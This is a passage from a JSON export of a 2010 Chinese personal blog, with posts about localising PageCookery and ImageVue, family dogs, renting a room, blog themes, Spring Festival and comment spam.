src=\"//music.163.com/outchain/player?type=2\u0026id=569734247\u0026auto=1\u0026height=66\"\u003e\u003c/iframe\u003e","time":2,"title":"偶身边也有大事情发生！"},{"comments":{"data":[17],"errmsg":"","errno":0},"contents":"\r欢迎大家使用公子繁化的PageCookery程序，如果有什么疑问，可以在下面留言，或者IM/Email我，我的联系方式在About页面可以查到。\nPageCookery程序介绍：\nPageCookery是一款值得中国人骄傲的国产优秀微博客程序。\n采用了Plurk的谓语模式，可以为自己发布的内容添加分享、说、推荐、喜欢、讨厌、爱等等，并 且谓语动词还可以自定义的（自定义的谓语动词，需手动编写CSS代码为其设置颜色）。\n并且PageCookery上 的日志内容都是可以允许匿名评论的，这也为这个单用户微博增添了一些互动功能。\n可以同步导入和更新嘀咕和叽歪内的消息，利用这个我们可以实现 IM( QQ/MSN/Gtalk ) / 手机 / 博客导入 / JAVA程序等等方式编写微博客上的消息。\n同时，新版本还支持RSS导入，我们可以把博客的RSS导入到微博客里面等等……\n新版本支持管理员创建用户，是一款功能强大的半开放式的多用户微博客程序。\n官方网站：http://pagecookery.com\n官方讨论组：http://groups.billwang.net/223/\n示例站点：https://imnerd.org/mblog | http://lizheming.cn\nPageCookery 繁体版程序介绍：\n记得以前在PageCookery的讨论组有人要PageCookery的繁体版，偶开始还以为挺容易的，后来发现PageCookery的TinyMCE编辑器的中文都用Unicode转码了/当时只道是编译了，无从下手，就没进行繁化工作了/。昨天跟苏洋聊天的时候问了下WP这个默认主题sidebar的行标怎么去除，结果发现既不是用list-style-type，也不是用list-style-image，结果是直接写了个字符上去，而这个字符就是转码了的，慢慢就聊到这里来了，顺手就让他按照我的意思帮忙做了一个Unicode编译/反编译程序（其实就是一个网页），然后今天偶由于天助，花了一个下午的时间繁体了PageCookery的最新版本。编译程序我过两天在重新开篇日志写出来，主要是因为苏洋同鞋说了页面不好看，偶承诺过要美化一下的，嘿嘿～网上也有很多转码网站的～\n回到正题，这次的汉化主要在编辑器下了点功夫，但功夫你有看不到，因为偶把TinyMCE附带的插件里面的中文也繁体了，反正只要是中文的地方基本都被偶繁体了一遍～嘿嘿～甚至连程序的Changelog和README两个文本文件偶都有繁体哦！当然这是请谷歌大神帮的忙了～呵呵。另外还有一个修改就是去除了第一篇消息内的广告……不要问偶为什么会有广告，偶也不清楚啊……偶讨厌广告～\n由于这次改动的文件比较多，这里就不一一列举了，大概是如下几个文件夹内的文件：\n/javascript/tiny_mce\n/sql/install/database.sql\n/template\n/config.php\n/httprequest.php\n/index.php\n主要修改：\n对程序所有中文进行繁体化；\n对程序默认的谓语进行繁体化；\n对程序的说明文档和更改历史进行繁体化；\n去除安装后第一条消息的广告；\n下載地址：\nPageCookery 0.7.1 繁体去广告版： 下載一 | 下載二\n友情提示：如遇到压缩包需要解压密码的，密码一律为 “https://imnerd.org”(不包括引号！)\n特注：此繁化版可修改，可传播，可共享，但怡红公子对此汉化版本享有最终拥有权，由于只是对原版程序进行繁体化，所以由于此程序所造成的一切损失与本人无关。\n","count":1310,"date":"2010年02月22日","featuredImage":null,"permalink":"https://imnerd.org/pagecookery-traditional.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1321\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/PageCookery-traditional.png\" alt=\"\" width=\"450\" height=\"119\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\r\n\u003cp\u003e欢迎大家使用公子繁化的PageCookery程序，如果有什么疑问，可以在下面留言，或者IM/Email我，我的联系方式在\u003ca href=\"https://imnerd.org/about\" target=\"_blank\"\u003eAbout\u003c/a\u003e页面可以查到。\u003c/p\u003e","time":3,"title":"PageCookery 繁化版"},{"comments":{"data":[14],"errmsg":"","errno":0},"contents":"\r好吧，咱来报告一声，发现最近博友们都回来啦，看样子该上班的去上班了，该上学的都去上学了，本博客终于又有人来访问了，鸡冻啊…… :cry:\r今天下午大伯来偶们家里拜年了，结果偶老妈居然把偶家的三只小狗狗送给偶们大伯啦！ :3 没天理啊，都不经过偶同意的说……偶那可怜的三只小狗狗从此要远离家乡过上他们的海外生活了～狗狗，偶想你们啊～话说那只最小的狗狗最可爱了，你追它它不会跑的，它会躺地上。不要问偶为什么，偶也不知道啊，可能是要装死吧。然后偶就可以尽情蹂躏它啦，比如拽它的脚啦，还有挠痒痒啦，以及给它做高强度持续性剧烈震动，哈哈！而且它还会坐下，站立啊什么的，偶很喜欢啦……\n拎走三只小狗狗后就只剩下某某两只大狗狗了（ :9 偶家也不想要这么多狗狗的！）毫无疑问，大狗狗是拿来看家的，顺便当种狗……说道种狗，貌似偶也不太清楚这回的小狗狗是第几代了，貌似狗狗长的好快的……= =然后那只大狗狗挺搞笑的，胆子特别的小，只要一听到什么剧烈的爆炸声就会立即嗖的一声跑到你旁边来了……记得上次过年的晚上很多人家都放烟花是么，偶坐在桌子旁玩电脑，结果偶无意中探了下头，结果就发现这只胆小的狗狗坐在桌子底下，偶腿旁边…… 8-O 对这孩子极度无语了，不过偶妈跟偶讲貌似是这只狗狗小时候给车撞过才吓成这样的。再另外，貌似偶养的狗狗都很杯具的：\n偶印象最深的两次是在偶初中的时候，有一只是小狗，那天晚上是狂风大作，电闪雷鸣，偶们都躲在被窝里面睡大觉，第二天早上偶起来去上学的时候居然发现小狗狗被夹在铁门中间冻死，偶只记得偶踢它的时候它是全身僵硬的，当时那个伤心啊！然后是另外一只狗，这只狗就惨惨了，它很喜欢跟着偶的。也就是在某个风和日丽，万里无云，秋高气爽，丹桂飘香的早晨，偶高兴地骑着车上学校去，结果发现这只可爱的忠诚的狗狗跟在偶屁股后面呢，于是呀偶就赶它回去啦。好不容易赶他回去了，偶以为没事啦，哪晓得晚上回去，老妈就跟偶讲狗狗被车压死了……T_T没天理啦！\n反正偶养小狗狗就是杯具啦，不讲了。推荐一首歌吧，今天听了一天的说，Kenny Rogers的Lady，请大家慢慢欣赏：\n","count":860,"date":"2010年02月21日","featuredImage":null,"permalink":"https://imnerd.org/my-dog.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1314\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/dog.png\" alt=\"\" width=\"450\" height=\"115\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; color: #333399; font-size: 14px; font-family: microsoft yahei, microsoft jhenghei;\"\u003e好吧，咱来报告一声，发现最近博友们都回来啦，看样子该上班的去上班了，该上学的都去上学了，本博客终于又有人来访问了，鸡冻啊……  :cry:\r\n\u003cp\u003e今天下午大伯来偶们家里拜年了，结果偶老妈居然把偶家的三只小狗狗送给偶们大伯啦！ :3 没天理啊，都不经过偶同意的说……偶那可怜的三只小狗狗从此要远离家乡过上他们的海外生活了～狗狗，偶想你们啊～话说那只最小的狗狗最可爱了，你追它它不会跑的，它会躺地上。不要问偶为什么，偶也不知道啊，可能是要装死吧。然后偶就可以尽情蹂躏它啦，比如拽它的脚啦，还有挠痒痒啦，以及给它做高强度持续性剧烈震动，哈哈！而且它还会坐下，站立啊什么的，偶很喜欢啦……\u003c/p\u003e","time":2,"title":"偶的狗狗啊！"},{"comments":{"data":[32],"errmsg":"","errno":0},"contents":" 恩，正如本人所说，由于经济原因，本人将自己在教工宿舍租的一套房间腾出一间来出租了。今天突然想要在校论坛发个帖子试试，结果真发啦，请围观地址：传送门 话说没过多久就有人回了，真是速度，跟他商量了下，貌似看了房再做决定。没关系，一般都这样。另外偶也有在QQ签名上说，貌似有两个同学也要租，到时候看情况了。偶貌似不是很想租给同学，不过如果那个人不租的话偶还是会考虑的，同学（有个还是同寝室的！）也挺好的说～租出去之后偶的私人空间算是没了，不过没办法啊，为了钱，值了。 然后貌似熊总有问微博真的那么好玩么？我这里说说我的看法吧，个人认为微博就是一种以多种方式快速并简洁的记录博主生活的一种记录方式，其特点是多种方式输入，多种方式输出，消息传播快。不好的方面也有，非常容易制造网络信息垃圾。如何使用微博，我觉得要看个人的想法，如果接受不了，那就不要使用，无须使用即可。我使用微博的目的也很简单，就是多一种记录自己的生活方式而已，现在说不定不觉得，以后看了说不定就有什么了，哈哈。不过我现在记录的方式还不是很快速，无电脑的情况下偶都是用手机记录的，手机的话由于不是智能机，所以不能多任务，所以每次要记录什么必须开网站，如果是发短信的话偶又舍不得那点小钱，唉！所以偶经常找些新的微博呀，看下他们有什么好的快速的记录方式啦，结果来说练就了偶经常混微博客的功夫啦，而且偶也经常找找各种微博之间的同步方法啦～喵喵，估计后面几篇会记录点心得的。再其次就是学习东西啦，每个领域都有要学习的东西的说。额，说的比较杂乱，大家自己调减下整理个段落大意吧……哈哈 然后再话说没几天又要开学了，偶又要会学校了，咩哈哈哈哈哈，有点想念学校诶～\n","count":700,"date":"2010年02月20日","featuredImage":null,"permalink":"https://imnerd.org/rental.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1301\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/rent-room.png\" alt=\"\" width=\"450\" height=\"124\" /\u003e\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e恩，正如本人所说，由于经济原因，本人将自己在教工宿舍租的一套房间腾出一间来出租了。今天突然想要在校论坛发个帖子试试，结果真发啦，请围观地址：\u003ca href=\"http://www.ecitz.com/bbs/read-tid-61530.html\" target=\"_blank\"\u003e传送门\u003c/a\u003e 话说没过多久就有人回了，真是速度，跟他商量了下，貌似看了房再做决定。没关系，一般都这样。另外偶也有在QQ签名上说，貌似有两个同学也要租，到时候看情况了。偶貌似不是很想租给同学，不过如果那个人不租的话偶还是会考虑的，同学（有个还是同寝室的！）也挺好的说～租出去之后偶的私人空间算是没了，不过没办法啊，为了钱，值了。\u003c/div\u003e\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e然后貌似熊总有问微博真的那么好玩么？我这里说说我的看法吧，个人认为微博就是一种以多种方式快速并简洁的记录博主生活的一种记录方式，其特点是多种方式输入，多种方式输出，消息传播快。不好的方面也有，非常容易制造网络信息垃圾。如何使用微博，我觉得要看个人的想法，如果接受不了，那就不要使用，无须使用即可。我使用微博的目的也很简单，就是多一种记录自己的生活方式而已，现在说不定不觉得，以后看了说不定就有什么了，哈哈。不过我现在记录的方式还不是很快速，无电脑的情况下偶都是用手机记录的，手机的话由于不是\u003ca href=\"http://www.holaba.com.cn/c/it-products/mobile-phones\"\u003e智能机\u003c/a\u003e，所以不能多任务，所以每次要记录什么必须开网站，如果是发短信的话偶又舍不得那点小钱，唉！所以偶经常找些新的微博呀，看下他们有什么好的快速的记录方式啦，结果来说练就了偶经常混微博客的功夫啦，而且偶也经常找找各种微博之间的同步方法啦～喵喵，估计后面几篇会记录点心得的。再其次就是学习东西啦，每个领域都有要学习的东西的说。额，说的比较杂乱，大家自己调减下整理个段落大意吧……哈哈\u003c/div\u003e\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\n\u003cp\u003e然后再话说没几天又要开学了，偶又要会学校了，咩哈哈哈哈哈，有点想念学校诶～\u003c/p\u003e","time":2,"title":"出租房屋"},{"comments":{"data":[11],"errmsg":"","errno":0},"contents":"\r最近又有变懒的趋势了啊，博客又有好几天没有更新了，额/过年没啥事好说的，无非是走亲访友，吃吃喝喝的，不太好玩……/主要还是听不懂这里的地方话，他们讲话无异于对我唱摇篮曲/\n话说最近又百无聊赖的操起DIY的折腾精神修改了两个模板，一个是我的班级网站的，一个是PageCookery的。班级网站的是以WP主题库的某款主题为原型，添加了以酷狗叮咚网站的导航栏为原型的菜单栏，然后增加了两个大图标以及几个小图标改版过来而成……原版的主题很简单，就一个头部图像，这个主题貌似强大之处在于在IE下也能显示圆角/貌似利用了图片/，仅此而已，本人也奉行简单原则……爽乎乎……话说要想在WP中找到一款合适的CMS主题还真不容易额……\nPageCookery的这个是以凳子童鞋的饭推 / 姑且让我这么称呼这个网站 / 中的某个主题为原型，主要是取材了它的气泡显示消息的形式。本来也想搞成两栏型/entry + sidebar/的，但是人太懒了，不愿意搞了，这个样子已经达到了我的最初目标了。话说我还真是天天为抵制IE大行动做贡献呢……这次的PageCookery很华丽丽的在IE下显示的一塌糊涂/IE8已经测试，IE6未测试，不过我想也好不到哪里去吧，说到IE6，上面那个WP主题似乎在IE6下也是显示一团糟啊，不知道是不是我修改了的原因/，这个我是早就预料到的，不过没预料到的是Safari的显示也有些问题，囧……另外，搜狗2.0下也有问题/搜狗2.0不是Webkit内核的么？！/然后是好消息，在Firefox, Chrome, Opera, 傲游3.0下显示都没有问题，灰常正常/完美就没有了，本身模板就不完美……/鉴于主题毛病重重，我就不发出来了，如果真的想要的童鞋可以留言给我～\n好了，其它的不说了，上图：\n这个是班级网站的，点击浏览大图哦！里面的内容我稍加修改了一下，大致的框架是这样的啦！\n这个是PageCookery的，背景本来不想用Twitter的，无奈真的找不到什么好的素材了，咳咳……要围观的话图片上面有地址的，我这里就不放出来了啊～\r","count":843,"date":"2010年02月19日","featuredImage":null,"permalink":"https://imnerd.org/creat-two-themes.html","summary":"\u003cimg class=\"alignnone\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/theme.png\" alt=\"\" width=\"450\" height=\"120\" /\u003e\r\n\u003cdiv style=\"text-indent: 2em; font-size: 14px; font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399;\"\u003e\r\n\u003cp\u003e最近又有变懒的趋势了啊，博客又有好几天没有更新了，额/过年没啥事好说的，无非是走亲访友，吃吃喝喝的，不太好玩……/\u003cem\u003e主要还是听不懂这里的地方话，他们讲话无异于对我唱摇篮曲\u003c/em\u003e/\u003c/p\u003e","time":2,"title":"拷贝修改了两个模板"},{"comments":{"data":[24],"errmsg":"","errno":0},"contents":" 昨晚看春晚了，话说俺们家一直有晚上看春晚的习惯……虽然说这两年我也偶尔会不看，但看的时候还是多的。现在看春晚感觉时间过得越来越快，呵呵，以前小时候等12点的敲钟等的甚是辛苦啊，经常会在妈妈怀里睡着了，现在是没过一会儿就到12点了，感觉好没意思，哈哈！今年本来不打算看春晚的，但是有小虎队啊，守啊守，终于守到了，不过没太大感觉就是，都大了，感觉声音没有原来的好听的说，有朋童鞋有点不配合……另外，不知道是不是《风声》的后遗症，我怎么感觉他越来越小沈阳了呢？ :9 可是这个跟我又有什么关系呢？哈哈，这个比较搞笑就是。刘谦的魔术又吸引了好多好多人哇，哈哈！咱对春晚的歌一向不是很感冒，都是很和谐的东西啊……\n另外昨天晚上天空中的烟花就放个不停啊。这里要插个小序，这里有个忒奇怪的风俗，从来都不放鞭炮的，只放烟花，拿烟花当爆竹使，所以在这里你白天听到放烟花的声音也不必奇怪……额！不过话说，烟花的声音应该比爆竹好那么点……哈哈哈，天空中漫天的烟花，那个华丽啊，可恨相机给借走了，要不然肯定拍两张上来。然后昨晚幸运的是没像某个天气预报说的一样暴雪迎春，不过也有很大的雨就是。另外，一直忙活啊，忙活很累人的说，所以说偶现在最讨厌过年了，一过年就要忙活这个忙活那个的。而且今天还有某个人的果子酒要喝/亲戚家的，其实就是去帮忙的……囧/，再插个小序，这里的人有个习俗，生了男孩满月就要请果子酒，不管认识的不认识的，碰到了就会被拉进去吃，但是不是吃饭，而是摆些花生，饼干啊什么的瓜果之类的小吃，还有茶和酒给大家喝，很神奇……但是要强调一声，仅限于男孩，女孩就没这个福气了，明显的重男轻女么！\n帮完忙就华丽丽的去走亲访友了，这点让我崩溃了，再插个小序，我完全听不懂这里的地方话！！！话说我在这里的时间就5年 X (2个月的暑假 + 1个月的寒假)，哪有什么闲情去学你的天台话啊！你要想象一下，一个人做在那里，完全听不懂旁边的人在说什么，然后无所事事的感觉，我快崩溃了……所以偶最喜欢的是宅在家里上网了，咩哈哈哈哈哈！\n","count":840,"date":"2010年02月14日","featuredImage":null,"permalink":"https://imnerd.org/2010-new-year.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1283\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/2010-new-year.png\" alt=\"\" width=\"450\" height=\"136\" /\u003e\n\u003cp\u003e\u003cspan style=\"font-family: Microsoft Yahei, Microsoft Jhenghei; font-size: 14px; color: #333399;\"\u003e昨晚看春晚了，话说俺们家一直有晚上看春晚的习惯……虽然说这两年我也偶尔会不看，但看的时候还是多的。现在看春晚感觉时间过得越来越快，呵呵，以前小时候等12点的敲钟等的甚是辛苦啊，经常会在妈妈怀里睡着了，现在是没过一会儿就到12点了，感觉好没意思，哈哈！今年本来不打算看春晚的，但是有小虎队啊，守啊守，终于守到了，不过没太大感觉就是，都大了，感觉声音没有原来的好听的说，有朋童鞋有点不配合……另外，不知道是不是《风声》的后遗症，我怎么感觉他越来越小沈阳了呢？ :9 可是这个跟我又有什么关系呢？哈哈，这个比较搞笑就是。刘谦的魔术又吸引了好多好多人哇，哈哈！咱对春晚的歌一向不是很感冒，都是很和谐的东西啊……\u003c/span\u003e\u003c/p\u003e","time":2,"title":"大年初一"},{"comments":{"data":[19],"errmsg":"","errno":0},"contents":"\r这几天都连续呆在电脑旁边，实在是没有什么可以吐槽的啦，连吐槽的料都没有了，我真是太杯具了。明天就是大年三十了，今天晚上要把祝福短信编辑好，明天一发就好啦，嘿嘿！我发现我哪年都没这么聪明诶～额……好吧，我承认，是我太笨了点哇！大年三十了，大家新年快乐了哦！客套话就不说了啊，大家都知道了嘛～还有就是大年三十了，马上就可以换掉我的新春header了，我对它已经产生审美疲劳了……\n话说今天美女大人买了两只超大的鸡回来，反正我是没见过这么大的鸡了，而且兆貌似是从个小孩那里买的，美女大人占到便宜了哦～～嘿嘿！特别照了张照片给大家伙看看，额，好大好大的鸡啊……而且还是公鸡的说，完全毁灭了喔喔奶糖留给我的大公鸡形象了，长的跟母鸡差不多？什么我不分公母？哈哈，我母鸡的啦！\n啥米？你看不出鸡鸡很大？好吧，你可以去屎了，哥我无视你！咩哈哈哈哈哈～然后又话说本人突然去偶的163博客看了看，就想到了传说中的163微博客，输入熟悉的t型微博地址，发现还真公测了，不过马勒戈壁的，居然还要邀请码？！好歹我也是看着163博客长大的用户啊，四年了都，这么点小权都不给我，擦！然后偶又想起另外个门户的微博了，搜狐大哥是不是会让我进去呢？嘿嘿，真的可以诶，还是上搜狐大哥爽点！咩哈哈哈～不过等我进去稍加把玩之后，发现，这个搜狐微博做的也是那么一坨屎！擦，什么都没有，就是WEB发布，外带个短信发布，连个人信息我都不知道在哪里输入，更别提多途径发布了！擦擦，去你的新浪，去你的搜狐，完全把微博客的概念给歪曲了！ 附上我愤怒的吐槽的截图：\n然后的然后，本人又在虚拟机装起Ubuntu了，开始好好把玩了，我这次一定要保存虚拟机文件，以后就不用重装这么麻烦了哇～～至于为什么不在本本上装，那是因为我装了一次Ubuntu 9.10后居然不识别我的无线网，我当场无语，没了Internet，Ubuntu就真的一点都不好玩了……而且因为Win7破解激活的问题，好像Bootmgr什么的根本没用，直接跳过启动项进入Win7了，额……搞得我想Wubi安装都不成，杯具那个杯具。这个，说道Win7激活，似乎听说微软娘准备开始Win7的反盗版策略了，似乎在进入中国的时候还温柔了点，额额，咱不屑于这个，微软高一尺，中国挨踢高一丈的说……\n然后，偶刚刚华丽丽的看了俩部电影，邻家特工和十月围城，不得不说啊，成龙哥哥真的是老咯。十月围城不错的么，光那么多的大腕在里面也值得看看哇！不过我果然对政治什么的一点兴趣都没有，开头的那点点我恶心的直接点快进了，后面的武大似乎还好点点～说到底咱看不来剧情的什么老套回路啦，咱只是觉得，不错的片子哦！推荐没看过的去看看。不过说道大腕，偶似乎好像还没看建国大业的说……杯具了……\n最后的最后推荐一首歌，Arrietty\u0026rsquo;s Song，歌手声音空灵清澈，灰常有韵味！/本来想试试传说中的HTML5标签，结果FF居然只支持个屁OGG，偶下个格式工厂转换成OGG的彻底失败，囧！算了，还是老实用我的Flash吧……/\n","count":1245,"date":"2010年02月13日","featuredImage":null,"permalink":"https://imnerd.org/no-saying.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1277\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/tucao.png\" alt=\"\" width=\"450\" height=\"120\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family: Microsoft Yahei, Microsoft Jhenghei; color: #333399; font-size: 14px;\"\u003e这几天都连续呆在电脑旁边，实在是没有什么可以吐槽的啦，连吐槽的料都没有了，我真是太杯具了。明天就是大年三十了，今天晚上要把祝福短信编辑好，明天一发就好啦，嘿嘿！我发现我哪年都没这么聪明诶～额……好吧，我承认，是我太笨了点哇！大年三十了，大家新年快乐了哦！客套话就不说了啊，大家都知道了嘛～还有就是大年三十了，马上就可以换掉我的新春header了，我对它已经产生审美疲劳了……\u003c/span\u003e\u003c/p\u003e","time":3,"title":"无力吐槽了"},{"comments":{"data":[27],"errmsg":"","errno":0},"contents":"\n咳咳，这两天真是太郁闷啦！昨天早上被某人诱拐上山去砍柴，咱以为是帮忙搬柴火，屁颠屁颠的就去了，结果手套也没戴一副，回来的时候手掌就多了几根刺了…… :11 骗我骗我竟然骗我！ \u0026#x1f622; 然后正当我百无聊赖的时候，老妈大人华丽丽的命令我中午我掌勺！咱个厨房都没进去过几回的人还掌勺呢，这不就是个杯具么！T_T可怜的偶啊！无奈母亲大人的命令不敢违抗啊，你们都给我当小白鼠去，咩哈哈哈哈！不过话说更加杯具的是这几天的中午似乎固定的掌勺大厨是我了……囧，话说，有人当试验品应该很兴奋的说，好吃也得吃，不好吃也得吃！嘿嘿！\n恩，传照片的时候意外发现了以前照的一张照片，华丽丽的两箱纸外加四个购物袋！用动感地带的积分换的，貌似某人人品似乎有那么点上升，营业员还多送了10盒纸给他，啊啊啊啊啊啊啊啊啊啊！\n","count":335,"date":"2010年02月10日","featuredImage":null,"permalink":"https://imnerd.org/cooking-again.html","summary":"\u003cp\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F0b55b3bb0f3b46dc8f5526624343ab69%2F1024.jpg\"\u003e\u003c/a\u003e\u003ca class=\"highslide-image\" href=\"https://imnerd.org/assets/migration/404.png?url=http%3A%2F%2Fapi.photoshop.com%2Fhome_a10b5d2e2e264875b7b9c42f1d7b8e47%2Fadobe-px-thumbnails%2F6c1e660e210c4d7fa9b7447c1d6b0edb%2F1024.jpg\"\u003e\u003c/a\u003e\u003cimg class=\"alignnone size-full wp-image-1262\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/cooking-again.png\" alt=\"\" width=\"450\" height=\"128\" /\u003e\u003c/p\u003e\n\u003cp\u003e\u003cspan style=\"font-family: Microsoft Yahei, Microsoft Jhenghei; font-size: 14px; color: #333399;\"\u003e咳咳，这两天真是太郁闷啦！昨天早上被某人诱拐上山去砍柴，咱以为是帮忙搬柴火，屁颠屁颠的就去了，结果手套也没戴一副，回来的时候手掌就多了几根刺了……  :11 骗我骗我竟然骗我！ \u0026#x1f622; \u003c/span\u003e\u003c/p\u003e","time":1,"title":"咱又杯具的做饭了！"},{"comments":{"data":[55],"errmsg":"","errno":0},"contents":"\r嘿咻，经过我的不懈努力，ImageVue 2.16版的汉化终于制作好啦！谢谢大家的关心以及帮助，由于本人英语不佳，可能有汉化之处过于中文化或者语句生硬，烦请大家指出并提出修改意见，我会第一时间考虑修改。当然，如果汉化有错的地方，你可以在下面留言，或者Mail/QQ/Gtalk/MSN 我，联系方式请浏览关于页面。\nImageVue 程序介绍：\rImageVue是一款Flash版超酷超炫相册网站程序，易 于安装，易于管理，使用者只需在后台上传好图片即可。程序包括相册，幻灯片播放和后台三个部分，提供多种风格给大家选择，喜欢DIY的朋友后台也有大量的 选项提供给大家设置。\r主机要求：一台支持PHP的服务器或者虚拟主机，以及GD库扩 展，便于程序生成缩略图/如果没有则需要自己修改图片生成缩略图并上传，一般PHP主机均配置/\n官方网站：http://imagevue.com/\n预览地址：https://imnerd.org/album\nImageVue 2.16汉化版介绍：\rImageVue 2.16汉化版是在原版的基础上参照ImageVue 2.14汉化版本增加了后台的汉化，便于大家的管理。鉴于本人第一次汉化程序，汉化有不当之处，还请大家留言指出，谢谢！如果还没有使用过 ImageVue程序的，只要下载完整版即可，如果已经在使用的，可下载汉化包解压到Imagevue程序根目录并覆盖即可。此操作不会更改你的数据以及 其它操作！\r汉化版所修改文件：(指定到目录的则为该目录所有文件)\n../imagevue/admin/controllers\n../imagevue/admin/guestcontrollers\n../imagevue/admin/templates\n../imagevue/admin/uploader.swf\n../imagevue/controllers\n../imagevue/filemods/filemod.xml\n../imagevue/images/uploadfilebutton.png\n../imagevue/include/config.xml\n../imagevue/include/theme.xml\n../imagevue/templates\n温馨提示：请对自己修改过的文件备份，以免文件覆盖过程中发生 丢失！\n下载地址：\nImageVue 2.16汉化完整版：下载一 | 下载二\nImageVue 2.16汉化文件包：下载一 | 下载二\nPS:由于ImageVue 2.16汉化文件的某些编码问题，导致后台会出现错误提示，再此特作出修正版本，如果您在2月9日之前下载了上面两个文件的，请下载解决方法包，解压后将controllers文件夹上传至imagevue/admin文件夹下进行覆盖即可解决！欢迎大家反馈自己的使用心得！\n修正版作出了如下修改： 1. 修正了上个版本中出现的错误提示问题； 2. 对textpage和contact页面进行了汉化； 3. 都某些细节进行了汉化修改；\n下载地址：\nImageVue 2.16错误提示解决包： 下载一 | 下载二\nImageVue 2.16汉化修正完整版： 下载一 | 下载二\nImageVue 2.16汉化修正文件包： 下载一 | 下载二\nPS2:由于本人马大哈，设置中的缩略图设置有些选项没有汉化，给大家造成的不便还请见谅，如果有在2月9日之前下载了修改版的站长请下载最终版修正文件并上传到imagevue/include/文件夹下覆盖即可。此次虽然发布的是最终版，但并不表示没有错误，还请大家积极反馈自己的意见，谢谢！\n下载地址：\nImageVue 2.16最终版修正文件： 下载一 | 下载二\nImageVue 2.16汉化最终文件包： 下载一 | 下载二\nImageVue 2.16汉化最终完整版： 下载一 | 下载二\n友情提示：如遇到压缩包需要解压密码的，密码一律为“https://imnerd.org”(不包括引号！) 特注：此汉化版可修改，可传播，可共 享，但怡红公子对此汉化版本享有最终拥有权，由于只是对原版程序进行汉化，所以由于此程序所造成的一切损失与本人无关。\n","count":1297,"date":"2010年02月08日","featuredImage":null,"permalink":"https://imnerd.org/imagevue216.html","summary":"\u003cimg class=\"alignnone size-full wp-image-1241\" title=\"ImageVue\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/ImageVue.png\" alt=\"\" width=\"450\" height=\"107\" /\u003e\r\n\u003cp\u003e\u003cspan style=\"font-family: Microsoft Yahei, Microsoft Jhenghei; font-size: 14px; color: #333399;\"\u003e嘿咻，经过我的不懈努力，ImageVue 2.16版的汉化终于制作好啦！谢谢大家的关心以及帮助，由于本人英语不佳，可能有汉化之处过于中文化或者语句生硬，烦请大家指出并提出修改意见，我会第一时间考虑修改。当然，如果汉化有错的地方，你可以在下面留言，或者\u003ca href=\"https://imnerd.org/about\"\u003eMail/QQ/Gtalk/MSN \u003c/a\u003e我，联系方式请浏览\u003ca href=\"https://imnerd.org/about\"\u003e关于\u003c/a\u003e页面。\u003c/span\u003e\u003c/p\u003e","time":3,"title":"ImageVue 2.16"},{"comments":{"data":[36],"errmsg":"","errno":0},"contents":" 据我所知，以前碰到的垃圾评论都是一堆外文（我这里碰到的多是英文），所以有人发布了Chinese must be什么的插件，但是当你看到如下的评论的时候，你该怎么办？\n上次Jclyn问防垃圾评论的插件，我给他推送了Akismet插件，因为它在我这里工作不错的说。意外的是她跟我说Akismet插件在她那儿错杀无 数，这个使我百思不得其解。然后我去我的垃圾评论里面看看，看是否也会有错杀的，然后就发现了上面这些评论。其中有一条被Akismet漏掉了，后来我还设置成允许，我还回复了，详情见：传送门 但是当我看到这些评论的时候，我毅然而又决然的把它设置成了SPAM。\n不知道大家对SPAM的定义是什么，反正我是容不下这些广告评论在我的博客里面的，而且这些评论放在某些日志下面不伦不类的，真是难过。单单让你看一条消息，你可能一下子并不能反应过来它是不是垃圾评论，这正是这些垃圾评论的高明之处，用中性的话语搞混你，而这些话语有非常适合每一片日志，比如什么“很好的文章”，“精彩的文章”，“不错的博客”啊什么的，利用这些然后钻我们这些人的空子。\n这里讲出来只是抒发抒发我的愤慨而已，另外也要提醒刚刚建博的童鞋们，初到人家博客的时候也不要这样留言，要用心去留言，去回复。\n","count":518,"date":"2010年02月04日","featuredImage":null,"permalink":"https://imnerd.org/even-spam-has-also-advanced-the.html","summary":"\u003cp\u003e\u003ca href=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/SPAM.png\"\u003e\u003cimg class=\"alignnone size-full wp-image-1229\" title=\"SPAM\" src=\"https://imnerd.org/assets/migration/imnerd.org/wp-content/uploads/2010/02/SPAM.png\" alt=\"\" width=\"450\" height=\"130\" /\u003e\u003c/a\u003e\n\u003cspan style=\"font-family: Microsoft Yahei,Microsoft Jhenghei; color: #333399; font-size: 14px;\"\u003e据我所知，以前碰到的垃圾评论都是一堆外文（我这里碰到的多是英文），所以有人发布了Chinese must be什么的插件，但是当你看到如下的评论的时候，你该怎么办？\u003c/span\u003e\u003c/p\u003e","time":2,"title":"连SPAM也高级了"},{"comments":{"data":[70],"errmsg":"","errno":0},"contents":"\n应朋友之邀，写一篇安装Win7的教程，高手可以无视了，大家只管在下面吐槽就行！\n教程开始：\n一、制作USB启动盘 